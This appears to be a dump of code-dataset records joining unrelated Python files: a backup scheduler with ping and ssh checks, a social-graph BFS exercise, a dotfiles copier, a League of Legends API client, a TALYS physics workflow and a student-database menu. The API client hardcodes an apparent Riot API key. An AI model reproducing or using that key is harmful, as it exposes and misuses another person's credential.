\"',\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t+ colorize(\"pink\", directory)\n\t\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t\t\t'\" seems to be unavaiable at the moment! Not running jobs of repository \"',\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t\t+ colorize(\"yellow\", '\".')\n\t\t\t\t\t\t)\n\t\t\t\t\telif not filled_directory:\n\t\t\t\t\t\tlw(\n\t\t\t\t\t\t\tcolorize(\"pink\", dt_formatted)\n\t\t\t\t\t\t\t+ colorize(\"yellow\", ' | Repo: \"')\n\t\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t\t\t'\" | Sorry! Directory \"',\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t+ colorize(\"pink\", directory)\n\t\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t\t\t'\" seems to be empty! Not running jobs of repository \"',\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t\t+ colorize(\"yellow\", '\".')\n\t\t\t\t\t\t)\n\n\t\tif sr[repo].remote:\n\t\t\tsrrr = sr[repo].remote\n\t\t\tif srrr.check == \"ping\":\n\t\t\t\tif 0 in [\n\t\t\t\t\tos.system(\n\t\t\t\t\t\tf\"ping -c 1 -w 2 {srrr.address} > /dev/null 2>&1\"\n\t\t\t\t\t)\n\t\t\t\t\tfor _ in range(5)\n\t\t\t\t]:\n\t\t\t\t\tcheck_dirs()\n\t\t\t\telse:\n\t\t\t\t\tlw(\n\t\t\t\t\t\tcolorize(\"yellow\", 'Sorry! \"')\n\t\t\t\t\t\t+ colorize(\"pink\", f\"{srrr.address}\")\n\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t\t'\" seems to be unavaiable at the moment! Not running jobs of repository \"',\n\t\t\t\t\t\t)\n\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t+ colorize(\"yellow\", '\".')\n\t\t\t\t\t)\n\t\t\telif srrr.check == \"ssh\":\n\t\t\t\tif (\n\t\t\t\t\tos.system(\n\t\t\t\t\t\tf\"ssh {srrr.user}@{srrr.address} echo > /dev/null 2>&1\"\n\t\t\t\t\t)\n\t\t\t\t\t== 0\n\t\t\t\t):\n\t\t\t\t\tcheck_dirs()\n\t\t\t\telse:\n\t\t\t\t\tlw(\n\t\t\t\t\t\tcolorize(\"yellow\", 'Sorry! \"')\n\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\"pink\", f\"{srrr.user}@{srrr.address}\"\n\t\t\t\t\t\t)\n\t\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t\t'\" seems to be unavaiable at the moment! Not running jobs of repository \"',\n\t\t\t\t\t\t)\n\t\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t\t+ colorize(\"yellow\", '\".')\n\t\t\t\t\t)\n\t\t\telse:\n\t\t\t\tle(\n\t\t\t\t\tcolorize(\"yellow\", \"Sorry! Remote check \")\n\t\t\t\t\t+ colorize(\"pink\", srrr.check)\n\t\t\t\t\t+ colorize(\"yellow\", \" does not exist!\")\n\t\t\t\t)\n\t\telse:\n\t\t\tsrrr = sr[repo].repository\n\t\t\tif os.path.isdir(srrr) and any(os.listdir(srrr)):\n\t\t\t\tcheck_dirs()\n\t\t\telse:\n\t\t\t\tlw(\n\t\t\t\t\tcolorize(\"yellow\", 'Sorry! Directory \"')\n\t\t\t\t\t+ colorize(\"pink\", srrr)\n\t\t\t\t\t+ colorize(\n\t\t\t\t\t\t\"yellow\",\n\t\t\t\t\t\t'\" is either unavaiable at the moment or empty! Not running jobs of repository \"',\n\t\t\t\t\t)\n\t\t\t\t\t+ colorize(\"pink\", repo)\n\t\t\t\t\t+ colorize(\"yellow\", '\".')\n\t\t\t\t)\n\n\tdef jobs(self):\n\n\t\t# Run a restart backup of all my backups.\n\t\tself._restart_backups(\"chimchar\", \"restart\")\n\n\t\t# Run a restart weekly and monthly backup\n\t\tself._weekly_or_monthly_backups(\"chimchar\", True)\n\t\tself._weekly_or_monthly_backups(\"chimchar\")\n\n\t\t# Monthly Backups\n\t\tschedule.every(4).hours.do(\n\t\t\tself._weekly_or_monthly_backups, \"chimchar\"\n\t\t)\n\n\t\t# Weekly Backups\n\t\tschedule.every(2).hours.do(\n\t\t\tself._weekly_or_monthly_backups, \"chimchar\", True\n\t\t)\n\n\t\t# Daily Backups\n\t\tschedule.every(2).hours.do(\n\t\t\tself._rt_logging_meltan, \"chimchar\", \"daily\"\n\t\t)\n\n\tdef interupted(self):\n\t\tpass\n\t\t# for repo in self.repositories.repos:\n\n","sub_path":"cinder.py","file_name":"cinder.py","file_ext":"py","file_size_in_byte":12284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"250467335","text":"\"\"\"\nImplement a function that shows all the friends in a user's extended social network and chain of friendships that link them. The number of connections between one user and another are called the degrees of separation.\n\nHow will the performance scale as more users join? Implement a feature that creates large numbers of users to the network and assigns them a random distribution of friends.\n\n`populateGraph()` takes in a number of users to create and the average number of friends each user should have and creates them\n\nTo create N random friendships, you could create a list with all possible friendship combinations, shuffle the list, then grab the first N elements from the list. You will need to `import random` to get shuffle.\n\n`addFriendship(1, 2)` is the same as `addFriendship(2, 1)`. You should avoid calling one after the other since it will do nothing but print a warning. You can avoid this by only creating friendships where user1 < user2.\n\n`getAllSocialPaths()` takes a userID and returns a dictionary containing every user in that user's extended network along with the shortest friendship path between each.\n\nWhat kind of graph search guarantees you a shortest path?\nInstead of using a `set` to mark users as visited, you could use a `dictionary`. Similar to sets, checking if something is in a dictionary runs in O(1) time. If the visited user is the key, what would the value be?\n\"\"\"\n\nfrom util import Queue\nimport random\n\nclass User:\n def __init__(self, name):\n self.name = name\n def __repr__(self):\n return self.name\n\nclass SocialGraph:\n def __init__(self):\n self.last_id = 0\n self.users = {}\n self.friendships = {}\n\n def add_friendship(self, user_id, friend_id):\n \"\"\"\n Creates a bi-directional friendship\n \"\"\"\n if user_id == friend_id:\n print(\"WARNING: You cannot be friends with yourself\")\n elif friend_id in self.friendships[user_id] or user_id in self.friendships[friend_id]:\n print(\"WARNING: Friendship already exists\")\n else:\n self.friendships[user_id].add(friend_id)\n self.friendships[friend_id].add(user_id)\n\n def add_user(self, name):\n \"\"\"\n Create a new user with a sequential integer ID\n \"\"\"\n self.last_id += 1 # automatically increment the ID to assign the new user\n self.users[self.last_id] = User(name)\n self.friendships[self.last_id] = set()\n\n def populate_graph(self, num_users, avg_friendships):\n \"\"\"\n Takes a number of users and an average number of friendships\n as arguments\n\n Creates that number of users and a randomly distributed friendships\n between those users.\n\n The number of users must be greater than the average number of friendships.\n \"\"\"\n # Reset graph\n self.last_id = 0\n self.users = {}\n self.friendships = {}\n\n # Add users\n for i in range(num_users):\n # call add_user function until the number of users is num_users\n self.add_user(f\"User {i + 1}\")\n\n # Create friendships\n # create a list with all possible friendships\n possible_friendships = []\n for user_id in self.users:\n # to avoid duplicates ensure that the first id is smaller than the 2nd id\n for friend_id in range(user_id + 1, self.last_id + 1):\n possible_friendships.append((user_id, friend_id))\n\n\n # Shuffle the list\n random.shuffle(possible_friendships)\n print(\"----\")\n print(f\"POSSIBLE FRIENDSHIPS: {possible_friendships}\")\n print(\"----\")\n\n # Grab(slice) the first N pairs from the list and create those friendships\n for i in range(num_users * avg_friendships // 2):\n friendship = possible_friendships[i]\n self.add_friendship(friendship[0], friendship[1])\n\n # avg_friendships = total_friendships / num_users\n # total_friendships = avg_friendships * num_users\n # N = avg_friendships * num_users // 2\n\n\n def get_all_social_paths(self, user_id):\n \"\"\"\n Takes a user's user_id as an argument\n\n Returns a dictionary containing every user in that user's\n extended network with the shortest friendship path between them.\n\n The key is the friend's ID and the value is the path.\n \"\"\"\n visited = {} # Note that this is a dictionary, not a set\n\n # create the queue\n q = Queue()\n # BFS(shortest path), so add start id to the queue\n # enqueue the user id in list, build possible path, keep a good one\n q.enqueue([user_id])\n # while the queue is not empty...\n while q.size() > 0:\n # create path\n path = q.dequeue()\n # create new user id\n new_user_id = path[-1]\n # check if the new user id had is visited...\n if new_user_id not in visited:\n # if not, set dict of path from starting to everyone else\n visited[new_user_id] = path\n # then for each neighbor in friendships of new user id...\n for neighbor in self.friendships[new_user_id]:\n # Make a copy of the path then add\n path_copy = path.copy()\n path_copy.append(neighbor)\n q.enqueue(path_copy)\n return visited\n\n\nif __name__ == '__main__':\n sg = SocialGraph()\n sg.populate_graph(1000, 5)\n print(f\"USERS: {sg.users}\")\n print(\"----\")\n print(f\"FRIENDSHIPS: {sg.friendships}\")\n print(\"----\")\n connections = sg.get_all_social_paths(1)\n print(F\"CONNECTIONS: {connections}\")\n print(\"----\")\n print(f\"Users in extended social network: {len(connections) - 1}\") # (-1 bc can't be friends with self)\n avg_degree_sep = 0\n for user_id in connections:\n avg_degree_sep += len(connections[user_id])\n print(f\"Average degree of separation: {avg_degree_sep/len(connections)}\")","sub_path":"projects/social/social.py","file_name":"social.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"130672880","text":"import pytest\n\nfrom stock_ai.module import StockCN\nfrom stock_ai.report import sharpe_ratio\nfrom test import is_travis\n\n\n@pytest.mark.skipif(is_travis, reason=\"Skipping this test on Travis CI.\")\ndef test_sharpe_ratio():\n df = sharpe_ratio()\n print(df)\n df_describe = df.describe()\n print(df_describe)\n print(df_describe.T.sort_values('mean', ascending=False))\n print(df_describe.T.sort_values('std'))\n for code in df.columns:\n stock = StockCN(code)\n print('{0}:{1}.'.format(\n code,\n stock.get_cum_returns(start='2005-01-01', end='2018-12-31')[-1]))\n","sub_path":"test/test_report.py","file_name":"test_report.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"614992163","text":"import os\n#from pathlib import Path\n# import shutil\n\nscripts = ['/usr/bin/bri',\n '/usr/bin/color_show']\nX = [\n '~/.Xresources',\n '~/.xprofile',\n '~/.xinitrc',\n '~/.Xclients',\n '/etc/sddm.conf' # sddm window dpi support hidpi\n ]\nZSH = [\n '~/.zshrc'\n ]\nBASH = [\n '~/.bashrc',\n '~/.profile', # not loaded when bash_profile present\n '~/.bash_profile',\n ]\nsoftware = ['~/.config/i3/',\n '~/.config/i3status/',\n '~/.config/kitty/',\n '~/.config/ranger/',\n '~/.config/rofi',\n '~/.emacs.d/init.el',\n '~/.config/autokey/data/My',\n '~/.config/zathura/',\n '~/.config/cmus/',\n '~/.config/neofetch',\n '~/.config/nvim/init.vim',\n '~/.config/doublecmd',\n \"~/.mozilla/firefox/h1c7m981.default-release/ghacks-user.js/user.js\",\n \"~/.mozilla/firefox/h1c7m981.default-release/ghacks-user.js/user-overrides.js\",\n \"~/.mozilla/firefox/h1c7m981.default-release/chrome/userChrome.css\",\n # Plasma desktop widgets\n '~/.config/plasmashellrc',\n # jetbrains\n '~/.PyCharm2019.3/config',\n '~/.IntelliJIdea2019.3/config',\n '~/.WebStorm2019.3/config',\n '~/.CLion2019.3/config',\n '~/.DataGrip2019.3/config',\n '~/.ideavimrc',\n # feh & neofetch\n '~/Pictures/'\n ]\n\ndirectory = [scripts, X, ZSH, BASH, software]\n\nfor d in directory:\n for f in d:\n os.system(f'cp -r --parent {f} .')\n","sub_path":"m.py","file_name":"m.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"125789686","text":"import champids\n\nimport requests\n\nimport json\n\nimport os\n\nfrom bs4 import BeautifulSoup as bs4\n\nfrom PIL import Image\n\nimport time\nglobal leadUrl\n#test comment for ssh test\n\nglobal apiKey\napiKey = 'RGAPI-83be51a9-b0e8-4f3b-bd17-d2a8b6fa4b51'\n\nglobal summId\n\n\ndef is_ascii(string):\n return all(ord(c) < 128 for c in string)\n\ndef sumLookup(summId,lookup):\n\n\n if summId == is_ascii(summId):\n return 'please enter valid characters'\n\n else:\n\n if lookup == 'base':\n\n leadUrl = 'lol/summoner/v4/summoners/by-name'\n\n summId = 'PorterW'\n\n return [summId,leadUrl]\n\n elif lookup == 'champ masters':\n\n leadUrl = 'lol/summoner/v4/summoners/by-name'\n #first request finds the summoner Id number for the name given in the search\n response = requests.get('https://na1.api.riotgames.com/{}/{}?api_key={}'.format(leadUrl,summId,apiKey))\n\n soup = bs4(response.text,'lxml')\n\n x = soup.get_text()\n \n js_response = json.loads(x)\n\n \n #summoner Id is equal to the number value given by riot games here \n summId = js_response['id']\n\n leadUrl = 'lol/champion-mastery/v4/champion-masteries/by-summoner'\n return [summId,leadUrl]\n elif lookup == 'recent matches':\n\n leadUrl = 'lol/summoner/v4/summoners/by-name'\n #first request finds the summoner Id number for the name given in the search\n response = requests.get('https://na1.api.riotgames.com/{}/{}?api_key={}'.format(leadUrl,summId,apiKey))\n\n soup = bs4(response.text,'lxml')\n\n x = soup.get_text() \n\n js_response = json.loads(x)\n #summoner Id is equal to the number value given by riot games here \n summId = js_response['accountId']\n\n return summId\n \n#below is the request and basic processing for the terms defined above\ndef single_response_as_dict(leadUrl,summId,apiKey):\n\n response = requests.get('https://na1.api.riotgames.com/{}/{}?api_key={}'.format(leadUrl,summId,apiKey))\n\n soup = bs4(response.text,'lxml')\n\n x = soup.get_text()\n \n comma_seperated = x.split(',')\n \n dictionary = {}\n \n for item in comma_seperated:\n\n splitvalue = item.split(':')\n\n dictionary[splitvalue[0]] = splitvalue[1]\n return dictionary\ndef basic_info(summId,lookup):\n\n response = sumLookup(summId,lookup)\n\n summId = response[0]\n\n leadUrl = response[1]\n \n x = single_response_as_dict(leadUrl,summId,apiKey)\n\ndef recent_matches(summId):\n summId = sumLookup(summId,'recent matches')\n\n leadUrl = 'lol/match/v4/matchlists/by-account'\n\n response = requests.get('https://na1.api.riotgames.com/{}/{}?endIndex=20&api_key={}'.format(leadUrl,summId,apiKey))\n \n soup = bs4(response.text,'lxml')\n\n x = soup.get_text()\n\n json_response = json.loads(x)\n\n \n \n return json_response['matches'] \n\ndef indepth_game(summId):\n json_response = recent_matches(summId) \n\n game_id = json_response[0]['gameId']\n\n leadUrl = 'lol/match/v4/matches'\n\n response = requests.get('https://na1.api.riotgames.com/{}/{}?api_key={}'.format(leadUrl,game_id,apiKey))\n\n soup = bs4(response.text,'lxml')\n\n x = soup.get_text()\n\n data = json.loads(x)\n\n return data\n\ndef game_byId(gameId):\n\n leadUrl = 'lol/match/v4/matches'\n\n response = requests.get('https://na1.api.riotgames.com/{}/{}?api_key={}'.format(leadUrl,gameId,apiKey))\n\n soup = bs4(response.text,'lxml')\n\n x = soup.get_text()\n\n data = json.loads(x)\n\n return data\n\n\n \ndef champ_masteries_by_summoner(summId):\n #requests the info \n response = sumLookup(summId,'champ masters')\n\n summId = response[0]\n\n leadUrl = response[1]\n\n response = requests.get('https://na1.api.riotgames.com/{}/{}?api_key={}'.format(leadUrl,summId,apiKey))\n\n soup = bs4(response.text,'lxml')\n\n x = soup.get_text()\n \n comma_seperated = x.split(',')\n\n dictionarylist = []\n\n count = 1\n #basic attributes of each lookup \n attributes = ['player id','champion id', 'champion level','champion points','last play time','champion points since last level','champ points to next level','chest granted']\n splitdict = dict()\n for item in comma_seperated:\n \n if count % 9 ==0:\n dictionarylist.append(splitdict.copy())\n \n count = 1\n \n else:\n splitvalue = item.split(':')\n\n splitdict.update({attributes[count-1]:splitvalue[1]})\n\n count +=1\n\n infoList = []\n for obj in dictionarylist:\n\n for k,v in obj.items():\n if k == 'champion id':\n v = champids.champion_ids[int(obj[k])]\n if k != 'player id' and k != 'chest granted':\n infoList.append('{}:{}\\n'.format(k,v))\n elif k == 'chest granted':\n infoList.append('{}:{}\\n-----------------------\\n'.format(k,v))\n \n return infoList\n\n#gets image for each item id\n\ndef getitem(item):\n\n#returns path to the image of item\n\n pwd = os.getcwd()\n if os.path.isfile('{}/items/{}.png'.format(pwd,item)) == False:\n response = requests.get('http://ddragon.leagueoflegends.com/cdn/9.2.1/img/item/{}.png'.format(item))\n\n time.sleep(.75)\n\n if response.status_code == 200:\n with open('{}/items/{}.png'.format(pwd,item),'wb') as f:\n f.write(response.content)\n return \"{}/items/{}.png\".format(pwd,item)\n \n \n \n \n \n\n","sub_path":"summonerData.py","file_name":"summonerData.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"632412492","text":"#!/usr/bin/env python3\n\"\"\"This module contains the operation functions for this project.\n\nThe workflow defined in this file can be executed from the command\nline with\n\n $ python src/project.py run [job_id [job_id ...]]\n\nSee also: $ python src/project.py --help\n\"\"\"\nimport logging\n\nimport mypackage.util as util\nfrom flow import FlowProject\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nfrom mypackage.talys.api import TalysAPI\nimport mypackage.talys.data as data\nimport mypackage.talys.plotting as plotting\nfrom mypackage.util import arefiles, last_line_contains\n\nlogger = logging.getLogger(__name__)\nlogfname = \"project.log\"\n\ntalys_api = TalysAPI()\n\n\nclass Project(FlowProject):\n pass\n\n\n@Project.operation\n@Project.pre(arefiles((talys_api.input_fn, talys_api.energy_fn)))\n@Project.post(\n last_line_contains(\n talys_api.output_fn,\n \"The TALYS team congratulates you with this successful calculation.\",\n )\n)\ndef run_talys(job):\n \"\"\"Run TALYS binary with the original database file (HFB + QRPA result).\"\"\"\n command: str = talys_api.run_command\n # run TALYS in the job's folder\n util.sh(command, shell=True, cwd=job.workspace())\n\n\n@Project.operation\n@Project.pre.after(run_talys)\n@Project.pre(lambda job: job.isfile(talys_api.cross_section_fn(job)))\n@Project.post.isfile(talys_api.cross_section_png_fn)\ndef plot_cross_section(job):\n \"\"\"Plot the TALYS output to get cross-section.\"\"\"\n\n cross_section = data.read_cross_section(job.fn(talys_api.cross_section_fn(job)))\n\n fig = Figure(figsize=(6.4, 6.4))\n canvas = FigureCanvas(fig)\n ax = fig.add_subplot(111)\n\n atomic_symbol, mass_number = util.get_nucleus(\n job.sp.proton_number, job.sp.neutron_number, joined=False\n )\n text = r\"${}^{%d}$%s(n,$\\gamma$)${}^{%d}$%s\" % (\n mass_number - 1,\n atomic_symbol,\n mass_number,\n atomic_symbol,\n )\n\n plotting.plot_cross_section(\n ax,\n cross_section[\"energy\"],\n cross_section[\"xs\"],\n color=\"black\",\n label=f\"HFB-QRPA\",\n title=text,\n )\n\n canvas.print_png(job.fn(talys_api.cross_section_png_fn))\n logger.info(\"Saved %s\" % job.fn(talys_api.cross_section_png_fn))\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(\n filename=logfname,\n format=\"%(asctime)s - %(name)s - %(levelname)-8s - %(message)s\",\n level=logging.INFO,\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n )\n logger.info(\"==RUN STARTED==\")\n Project().main()\n logger.info(\"==RUN FINISHED==\")\n","sub_path":"projects/talys/hfb_qrpa/src/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"5736083","text":"\n\n#calss header\nclass _CLICK():\n\tdef __init__(self,): \n\t\tself.name = \"CLICK\"\n\t\tself.definitions = [u'to carry out a computer operation by pressing a button on the mouse or keyboard: ', u'to make a short, sharp sound, or to make something do this: ', u'to become friendly or popular: ', u'to be understood, or become clear suddenly: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_click.py","file_name":"_click.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"375605037","text":"from functools import lru_cache\nfrom math import factorial, comb\n\n\n@lru_cache(None)\ndef Stirling2nd(n, k):\n \"\"\"Compute the Stirling numbers\n\n >>> n = 10\n >>> [Stirling2nd(n, k) for k in range(n+1)]\n [0, 1, 511, 9330, 34105, 42525, 22827, 5880, 750, 45, 1]\n \"\"\"\n total = 0\n denom = factorial(k)\n for i in range(k+1):\n term = (-1)**i * comb(k, i) * (k-i)**n\n total += term\n return total // denom\n\n\n@lru_cache()\ndef Bell(n):\n \"\"\"Compute the Bell numbers\"\"\"\n return sum([Stirling2nd(n, k) for k in range(n + 1)])\n\n\n@lru_cache()\ndef OrderedBell(n):\n \"\"\"Compute the Ordered Bell numbers\"\"\"\n return sum([factorial(k) * Stirling2nd(n, k) for k in range(n + 1)])\n\n\ndef compositions(n):\n \"\"\"Generate all compositions of n\"\"\"\n def _compositions(n, k):\n \"\"\"Generate all k part (or fewer) compositions of n\"\"\"\n if n >= 0 and k >= 0:\n if n == 0 or k == 0:\n yield []\n elif k == 1:\n yield [n]\n else:\n for i in range(0, n+1):\n for comp in _compositions(n-i, k-1):\n if len(comp) == 0 or i >= comp[0]:\n yield [i] + comp\n for comp in _compositions(n, n):\n yield comp\n","sub_path":"util/sequences.py","file_name":"sequences.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"631806435","text":"from model import GRADE_TABLE\nfrom model import GROUP_TABLE\nfrom model import SUBJECT_TABLE\nfrom model import STUDENT_TABLE\nfrom model import TEACHER_TABLE\nfrom model import TEACHER_SUBJECT_TABLE\nfrom model import STUDENT_SUBJECT_TABLE\nfrom model import SUBJECT_GROUP_TABLE\n\n\nclass View(object):\n\n @staticmethod\n def show_main_menu():\n return input(\"Main menu:\\n\"\n \"\\t1. Student\\n\"\n \"\\t2. Teacher;\\n\"\n \"\\t3. Subject;\\n\"\n \"\\t4. Group;\\n\"\n \"\\t5. Subject Group;\\n\"\n \"\\t6. Teacher Subject;\\n\"\n \"\\t7. Student Subject;\\n\"\n \"\\t8. Search menu;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_search_menu():\n return input(\"Search menu:\\n\"\n \"\\t1. Search students\\n\"\n \"\\t2. Search teachers;\\n\"\n \"\\t3. Search students by teacher and group;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_group_menu() -> str:\n return input(\"Group menu:\\n\"\n \"\\t1. Show all groups;\\n\"\n \"\\t2. Display group by id\\n\"\n \"\\t3. Add group;\\n\"\n \"\\t4. Update group\\n\"\n \"\\t5. Delete group;\\n\"\n \"\\t6. Generate groups;\\n\"\n \"\\t7. Add subject to group;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_student_menu() -> str:\n return input(\"Student menu:\\n\"\n \"\\t1. Show all students;\\n\"\n \"\\t2. Display student by id\\n\"\n \"\\t3. Add student;\\n\"\n \"\\t4. Update student\\n\"\n \"\\t5. Delete student;\\n\"\n \"\\t6. Generate students;\\n\"\n \"\\t7. Add subject to student;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_teacher_menu() -> str:\n return input(\"Teacher menu:\\n\"\n \"\\t1. Show all teachers;\\n\"\n \"\\t2. Display teacher by id\\n\"\n \"\\t3. Add teacher;\\n\"\n \"\\t4. Update teacher\\n\"\n \"\\t5. Delete teacher;\\n\"\n \"\\t6. Generate teachers;\\n\"\n \"\\t7. Add subject to teacher;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_subject_menu() -> str:\n return input(\"Subject menu:\\n\"\n \"\\t1. Show all subjects;\\n\"\n \"\\t2. Display subject by id\\n\"\n \"\\t3. Add subject;\\n\"\n \"\\t4. Update subject\\n\"\n \"\\t5. Delete subject;\\n\"\n \"\\t6. Generate subjects;\\n\"\n \"\\t7. Add subject to teacher;\\n\"\n \"\\t8. Add subject to student;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_subject_group_menu() -> str:\n return input(\"Subject group menu:\\n\"\n \"\\t1. Show all subject groups;\\n\"\n \"\\t2. Display subject group by id\\n\"\n \"\\t3. Add subject to group;\\n\"\n \"\\t4. Update subject group connection\\n\"\n \"\\t5. Delete subject group connection;\\n\"\n \"\\t6. Generate subjects group connections;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_teacher_subject_menu() -> str:\n return input(\"Teacher Subject menu:\\n\"\n \"\\t1. Show all teacher subjects;\\n\"\n \"\\t2. Display teacher subjects by id\\n\"\n \"\\t3. Add subject to teacher;\\n\"\n \"\\t4. Update teacher subject connection\\n\"\n \"\\t5. Delete teacher subject connection;\\n\"\n \"\\t6. Generate teachers subjects connections;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_student_subject_menu() -> str:\n return input(\"Student Subject menu:\\n\"\n \"\\t1. Show all student subjects;\\n\"\n \"\\t2. Display student subjects by id\\n\"\n \"\\t3. Add subject to student;\\n\"\n \"\\t4. Update student subject connection\\n\"\n \"\\t5. Delete student subject connection;\\n\"\n \"\\t6. Generate student subjects connections;\\n\"\n \"\\t0. Exit\\n\")\n\n @staticmethod\n def show_update_teacher_options():\n return input(\"Select field to update:\\n\"\n \"\\t1. First name;\\n\"\n \"\\t2. Last name\\n\"\n \"\\t3. Phone number;\\n\"\n \"\\t0. Save and exit.\\n\")\n\n @staticmethod\n def show_update_student_options() -> str:\n return input(\"Select field to update:\\n\"\n \"\\t1. First name;\\n\"\n \"\\t2. Last name\\n\"\n \"\\t3. Sex;\\n\"\n \"\\t4. Date of birth;\\n\"\n \"\\t5. Id group;\\n\"\n \"\\t0. Save and exit.\\n\")\n\n @staticmethod\n def show_update_group_options() -> str:\n return input(\"Select field to update:\\n\"\n \"\\t1. Group name;\\n\"\n \"\\t0. Save and exit.\\n\")\n\n @staticmethod\n def show_update_subject_options() -> str:\n return input(\"Select field to update:\\n\"\n \"\\t1. Subject name;\\n\"\n \"\\t2. Credits;\\n\"\n \"\\t0. Save and exit.\\n\")\n\n @staticmethod\n def show_update_student_subject_options() -> str:\n return input(\"Select field to update:\\n\"\n \"\\t1. Subject id;\\n\"\n \"\\t2. Student id;\\n\"\n \"\\t0. Save and exit.\\n\")\n\n @staticmethod\n def show_update_teacher_subject_options() -> str:\n return input(\"Select field to update:\\n\"\n \"\\t1. Subject id;\\n\"\n \"\\t2. Teacher id;\\n\"\n \"\\t0. Save and exit.\\n\")\n\n @staticmethod\n def show_update_subject_group_options() -> str:\n return input(\"Select field to update:\\n\"\n \"\\t1. Subject id;\\n\"\n \"\\t2. Group id;\\n\"\n \"\\t0. Save and exit.\\n\")\n\n @staticmethod\n def display_missing_item_error(item, err):\n print('**************************************************************')\n print('We are sorry, we have no {}!'.format(item.upper()))\n if err is not None:\n print('{}'.format(err.args[0]))\n print('**************************************************************')\n\n @staticmethod\n def display_item_already_stored_error(item, item_type, err):\n print('**************************************************************')\n print('Hey! We already have {} in our {} list!'\n .format(item.upper(), item_type))\n if err is not None:\n print('{}'.format(err.args[0]))\n print('**************************************************************')\n\n @staticmethod\n def display_item_not_yet_stored_error(item, item_type, err):\n print('**************************************************************')\n print('We don\\'t have any {} in our {} list. Please insert it first!'\n .format(item, item_type))\n if err is not None:\n print('{}'.format(err.args[0]))\n print('**************************************************************')\n\n @staticmethod\n def display_item_stored(item, item_type):\n print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')\n print('Hooray! We have just added some {} to our {} list!'\n .format(item.upper(), item_type))\n print('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')\n\n @staticmethod\n def display_change_item_type(older, newer):\n print('--- --- --- --- --- --- --- --- --- --- --')\n print('Change item type from \"{}\" to \"{}\"'.format(older, newer))\n print('--- --- --- --- --- --- --- --- --- --- --')\n\n @staticmethod\n def display_item_updated(item, o_price, o_quantity, n_price, n_quantity):\n print('--- --- --- --- --- --- --- --- --- --- --')\n print('Change {} price: {} --> {}'\n .format(item, o_price, n_price))\n print('Change {} quantity: {} --> {}'\n .format(item, o_quantity, n_quantity))\n print('--- --- --- --- --- --- --- --- --- --- --')\n\n @staticmethod\n def no_such_menu():\n print('--------------------------------------------------------------')\n print('There is no such menu option')\n print('--------------------------------------------------------------')\n\n # some actions\n @staticmethod\n def get_id(name):\n return input(\"Enter {} id : \".format(name))\n\n @staticmethod\n def get_field(name, field):\n return input(\"Enter {} {} : \".format(name, field))\n\n # showing models\n def show_items(self, items, table_name):\n print('--- {}S LIST ---'.format(table_name.upper()))\n if items is not None:\n for i, item in enumerate(items):\n self.show_item(item, i, table_name)\n else:\n print('There is no items in this table - {}'.format(table_name))\n\n # show model\n\n @staticmethod\n def show_item(item, i, name):\n if item is not None:\n if name == GRADE_TABLE:\n print('* {}. id - {}, number - {}'.format(i + 1, item.id, item.number))\n elif name == GROUP_TABLE:\n print('* {}. id - {}, name - {}'.format(i + 1, item.id, item.name))\n elif name == SUBJECT_TABLE:\n print('* {}. id - {}, name - {}, time - {}'\n .format(i + 1, item.id, item.name, item.time))\n elif name == STUDENT_TABLE:\n print('* {}. id - {}, first name - {}, last name - {}, sex - {}, id_group - {}'\n .format(i + 1, item.id, item.first_name, item.last_name, item.sex, item.id_group))\n elif name == 